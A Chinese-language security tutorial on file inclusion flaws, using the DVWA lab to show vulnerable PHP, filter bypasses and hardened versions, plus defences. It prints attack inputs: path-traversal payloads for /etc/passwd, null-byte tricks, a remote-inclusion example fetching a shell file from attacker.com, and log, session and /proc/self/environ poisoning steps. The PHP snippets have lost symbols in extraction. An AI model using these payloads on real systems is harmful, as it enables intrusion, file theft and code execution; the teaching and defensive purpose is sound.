文件包含漏洞实战解析:从DVWA靶场到真实攻防场景

📅 发布时间:2026/8/13 6:23:43
文件包含漏洞实战解析:从DVWA靶场到真实攻防场景 1. 从“波浪线”到“任意文件读取”文件包含漏洞的实战认知最近在几个技术社群里看到不少朋友在讨论VSCode里打开Keil工程时遇到“在 browse.path 中未找到包含文件”的报错或者文件路径下出现恼人的红色波浪线。这本质上是一个开发环境配置问题需要正确设置包含路径。但作为一个搞安全测试的我脑子里第一时间蹦出的却是另一个词文件包含File Inclusion。这个在开发中看似平常的“包含”动作一旦被恶意利用就可能演变成Web安全领域一个经典且危害巨大的漏洞——攻击者能通过它读取服务器上的任意文件甚至执行任意代码。今天我们就以安全学习和测试中最经典的靶场之一——DVWADamn Vulnerable Web Application为例彻底拆解“文件包含”漏洞。你会发现它远不止是CTF比赛里的一个得分点其原理与开发中“路径解析”的思维一脉相承理解它能让你在写代码和做安全评估时多一份警惕。很多人搭建DVWA靶场照着“通关教程”一步步点按钮却未必深究每个漏洞背后的“为什么”。我们这次就抛开步骤复现深入原理、场景和防御让你不仅知道DVWA里怎么“通关”文件包含这一关更理解在真实世界里它可能以何种面貌出现以及如何从根本上避免。2. DVWA靶场中的文件包含不仅仅是通关DVWA将文件包含漏洞设置成了四个难度等级Low, Medium, High, Impossible。这不仅仅是安全级别的递增更是一个绝佳的学习路径展示了从最原始的错误到相对安全的代码的演进过程。2.1 Low级别漏洞的“教科书式”呈现在Low级别DVWA的源码通常简单到令人发指。核心代码可能只有一两行?php $file $_GET[page]; // 直接接收用户输入 include($file); ?这就是**本地文件包含Local File Inclusion, LFI**漏洞最赤裸裸的形式。程序没有任何过滤直接将用户通过page参数传递的值作为文件路径拼接到include()函数中。攻击者可以做什么读取敏感文件通过路径遍历读取服务器上的系统文件。?page../../../../etc/passwd尝试读取Linux系统密码文件。?page../../../../windows/win.ini尝试读取Windows系统文件。?page../../config/database.php尝试读取Web应用自身的数据库配置文件这常常包含明文密码。配合文件上传实现代码执行如果网站同时存在文件上传功能且上传的文件能被访问到即使上传的是图片但服务器错误地将其存储为.php后缀或解析漏洞存在攻击者可以先上传一个包含PHP代码的文本文件然后通过文件包含去执行它。上传一个图片文件shell.jpg内容为?php phpinfo(); ?。访问?page./upload/shell.jpg如果服务器配置不当如未正确识别MIME类型或开启了危险配置可能会将图片中的PHP代码解析执行。注意在DVWA的Low级别为了演示它可能允许包含../../../../etc/passwd。但在真实现代服务器上PHP的open_basedir等安全配置可能会阻止这种越界访问。不过这不妨碍我们理解漏洞原理。为什么这段代码如此危险因为它完全信任了来自客户端的输入。在Web安全中有一条铁律永远不要信任用户输入。$_GET、$_POST、$_COOKIE等超全局变量中的数据都是用户可以完全控制的。直接将其用于文件系统操作、数据库查询或命令执行是绝大多数Web漏洞的根源。2.2 Medium与High级别漏洞防御的“攻防演练”到了Medium级别DVWA会引入一些基础的过滤但往往存在缺陷这正是我们学习“绕过”技巧的好机会。常见的Medium级别防御及绕过防御替换../和..\为空字符串。$file str_replace(array(../, ..\), , $_GET[page]); include($file);绕过这种过滤是幼稚的因为它只替换一次。攻击者可以使用....//或....\/。经过一次替换后中间的../被移除剩下的字符又组合成了新的../。例如输入....//....//etc/passwd替换后变成../../etc/passwd。High级别的防御会更加严格例如防御要求参数必须以某个固定的字符串开头如file。if( fnmatch( file*, $file ) $file ! include.php ) { include( $file ); }绕过如果设计不当可能利用空字节注入在PHP 5.3.4之前有效或路径截断。例如传入file../../../../etc/passwd%00%00是空字节的URL编码在某些旧版本PHP中include()函数在遇到空字节时会停止处理后面的字符从而可能包含到file../../../../etc/passwd这个文件当然这个文件不存在。更常见的思路是寻找服务器上其他合法的、以file开头的文件尝试进行包含或者结合其他漏洞如日志注入进行利用。Impossible级别则展示了相对安全的做法使用白名单机制。$whitelist array(file1.php, file2.php, file3.php); if (in_array($file, $whitelist)) { include($file); } else { echo Invalid file requested.; }只允许包含预先定义好的几个文件从根本上杜绝了用户输入控制文件路径的可能性。2.3 从靶场到实战思维模式的转变在DVWA里我们知道自己要找的是文件包含漏洞目标明确。但在真实渗透测试或代码审计中你需要具备“火眼金睛”。以下是一些可能隐藏文件包含漏洞的代码模式模板引擎/模块加载许多CMS或框架会通过参数来加载不同的模块或模板。例如index.php?modulenews后端代码可能是include(./modules/.$_GET[module]..php)。如果过滤不严module参数就可能被利用。语言包切换网站支持多语言通过?langen来切换。后端可能包含./languages/.$_GET[lang]..php。文件查看/下载功能一些应用提供查看日志、下载备份文件的功能参数可能是?fileerror.log。如果直接使用file_get_contents()或include就可能造成LFI。实战心得审计代码时全局搜索include、require、include_once、require_once、file_get_contents、readfile等函数查看它们的参数是否与用户输入$_GET,$_POST,$_SERVER等有关联是发现文件包含漏洞最直接的方法。3. 文件包含漏洞的深度利用不止于读取理解基础LFI后我们会发现它的危害远不止读取几个配置文件。在特定条件下LFI可以升级为远程文件包含Remote File Inclusion, RFI和代码执行从而直接获取服务器权限。3.1 远程文件包含RFI的条件与利用RFI比LFI更危险因为它允许攻击者从远程服务器包含恶意代码。但它的实现条件也更苛刻PHP配置允许allow_url_fopen和allow_url_include这两个PHP配置项需要为On。在现代PHP版本中allow_url_include出于安全考虑默认是Off的这使得纯RFI漏洞比较少见。程序未对输入进行协议限制如果代码直接包含http://attacker.com/shell.txt且配置允许PHP就会去请求这个URL并将返回的内容当作PHP代码执行。在DVWA中的体现DVWA的Low级别环境可能为了教学而开启了allow_url_include。你可以尝试输入?pagehttp://你的服务器/shell.txt其中shell.txt内容为?php system(whoami); ?。如果成功将会在页面上显示Web服务器进程的运行用户如www-data。为什么RFI危害巨大它意味着攻击者可以将攻击载荷托管在自己的服务器上随时修改无需依赖目标服务器上的文件灵活性极高是获取Webshell的捷径。3.2 LFI到RCE的“组合拳”技巧当RFI条件不满足时高明的攻击者会利用LFI结合服务器其他特性或文件实现远程代码执行RCE。这才是文件包含漏洞在实战中的高级形态。技巧一包含日志文件Log PoisoningWeb服务器如Apache、Nginx和很多Web应用都会记录访问日志、错误日志。这些日志文件的内容是部分可控的。注入PHP代码到日志通过访问一个不存在的URL将PHP代码作为URL的一部分使其被记录到404错误日志中。例如访问http://target.com/?php phpinfo(); ?。通过LFI包含日志文件利用已有的LFI漏洞去包含这个日志文件如?page../../../../var/log/apache2/error.log。当日志文件被include()执行时其中我们注入的PHP代码就会被解析。结果成功在服务器上执行了任意代码。技巧二包含Session文件PHP的Session机制会将Session数据存储在服务器的一个文件中如/tmp/sess_[sessionid]。如果应用将用户可控的数据存入$_SESSION那么攻击者就有可能污染Session文件。污染Session找到一个能将数据存入Session的功能点如用户昵称、邮箱输入?php system(id); ?。获取Session文件路径通过PHP信息泄露或其他方式获取Session文件的存储路径和文件名Session ID通常通过Cookie传递。包含Session文件利用LFI包含这个被污染的Session文件触发代码执行。技巧三包含/proc/self/environ 或 /proc/self/fd/在Linux系统中/proc/是一个特殊的虚拟文件系统包含了进程信息。/proc/self/environ文件包含了当前进程的环境变量其中HTTP_USER_AGENT等HTTP头信息是用户可控的。修改User-Agent将HTTP请求的User-Agent头改为?php phpinfo(); ?。包含environ文件通过LFI包含?page../../../../proc/self/environ。挑战这种方法成功率受限于Web进程是否有权限读取/proc下的文件并且环境变量中可能包含特殊字符需要精确控制。技巧四包含临时文件如上传文件正如前文所述结合文件上传漏洞是最常见的组合利用方式。关键在于上传的文件必须能被访问到并且服务器会以PHP方式解析它可能通过.htaccess配置、解析漏洞或错误的MIME类型检查。实操心得在实战渗透测试中发现一个LFI漏洞后不要满足于读几个文件。要立刻思考能否结合RFI服务器有哪些可写的、可预测路径的日志或临时文件应用是否有文件上传点是否有其他输入点能污染服务器上的文件这种“漏洞联动”的思维是初级和中级安全人员的主要分水岭。4. 防御策略从开发到部署的纵深防线理解了攻击手法防御思路就清晰了。防御文件包含漏洞需要一个纵深防御体系而不是依赖单一措施。4.1 开发层编写“免疫”的代码这是最根本、最有效的一层。白名单机制首选像DVWA的Impossible级别一样严格限定可以包含的文件名。$allowed_pages [home.php, about.php, contact.php]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(./templates/ . $page); } else { include(./templates/error.php); }即使参数被篡改也只能跳转到有限的几个安全页面。避免动态包含重新设计架构如果可能避免使用用户输入来动态决定包含哪个文件。使用路由控制器将参数映射到固定的类或方法。如果需要动态包含则严格过滤路径固定将用户输入仅作为文件名的一部分且固定前缀和后缀。$file basename($_GET[module]); // 使用basename去除路径 include(./modules/ . $file . .inc.php);正则校验使用严格的正则表达式匹配允许的字符如只允许字母数字。if (preg_match(/^[a-zA-Z0-9_]$/, $file)) { include($file . .php); }绝对路径目录限制使用realpath()函数获取文件的绝对路径然后检查这个路径是否在以安全目录为前缀的范围内。$base_dir /var/www/html/includes/; $real_path realpath($base_dir . $_GET[file]); if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); }这里strpos($real_path, $base_dir) 0确保$real_path是以$base_dir开头的防止目录穿越。4.2 配置层收紧服务器“缰绳”安全的代码需要运行在安全的环境上。PHP配置allow_url_include必须设置为Off这是防止RFI的最关键配置。在php.ini中确认。allow_url_fopen谨慎设置根据业务需要决定是否开启非必要则关闭。open_basedir设置PHP可以访问的目录范围将其限制在Web应用所需的目录内可以有效防止跨目录读取敏感系统文件。例如open_basedir /var/www/html。disable_functions可以考虑禁用一些高危函数如system,exec,shell_exec,passthru等这样即使被包含执行了恶意代码攻击者也无法执行系统命令。但这属于“缓兵之计”治标不治本。Web服务器配置以最小权限运行Web服务进程如www-data, nginx用户不应该有读取/etc/passwd、/etc/shadow等系统关键文件的权限。通过合理的系统用户和文件权限设置来实现。日志文件权限确保Web服务器对日志文件只有追加写入的权限没有执行权限并且日志目录不可被Web用户访问这能增加日志投毒的难度。4.3 运维与审计层持续监控与改进代码安全审计在开发流程中引入代码安全审计环节使用自动化工具如静态代码分析工具SAST和人工审计重点检查文件操作、数据库查询、命令执行等危险函数的调用。输入验证框架使用成熟的、安全的框架如Laravel, Symfony等它们通常提供了完善的输入验证和过滤机制能避免开发者手动处理时出错。安全更新保持PHP、Web服务器及所有中间件的最新版本及时修补已知漏洞。5. 在DVWA之外文件包含的现代变体与思考虽然经典的PHP文件包含漏洞在严格的白名单和现代框架下已不多见但“包含”的思想和风险以其他形式存在着。1. 服务器端模板注入SSTI可以看作是文件包含漏洞在模板引擎领域的“精神续作”。例如在Jinja2 (Python)、Twig (PHP)、Freemarker (Java)等模板引擎中如果用户输入被直接拼接到模板中攻击者可能注入模板语法从而读取敏感数据、执行代码。其危害性和利用思路与文件包含非常相似。2. 不安全的反序列化反序列化漏洞中攻击者可以控制被反序列化的数据如果程序中存在类似“自动加载autoload”类文件的机制并且加载路径依赖于反序列化对象中的属性也可能导致类似文件包含的效果加载并执行恶意类文件。3. 其他语言中的类似问题文件包含并非PHP独有。在JSP中jsp:include或% include file... %如果处理不当在Node.js中require()或fs.readFile()如果使用了用户输入在Python的open()或import()中都存在类似的风险。核心逻辑不变用户可控的输入未经严格校验直接用于决定加载哪个文件或代码模块。回到开头的“波浪线”问题那个报错是开发工具在抱怨找不到头文件路径。而文件包含漏洞是攻击者在抱怨“为什么服务器这么听话地找到了我指定的路径” 两者的核心都是“路径解析”只不过一个在开发阶段一个在攻击阶段。作为一名开发者养成对任何来自外部的数据都保持怀疑和验证的习惯不仅是解决编译错误的需要更是构建安全软件的第一道防线。在DVWA里通关文件包含模块可能只需要几分钟。但真正理解其原理、掌握其利用技巧、并能在代码中自觉规避则需要将这种“输入即威胁”的思维刻入骨髓。下次当你写下一行include($user_input)或类似的代码时希望你能想起这篇文章停下来为它加上一道白名单的锁。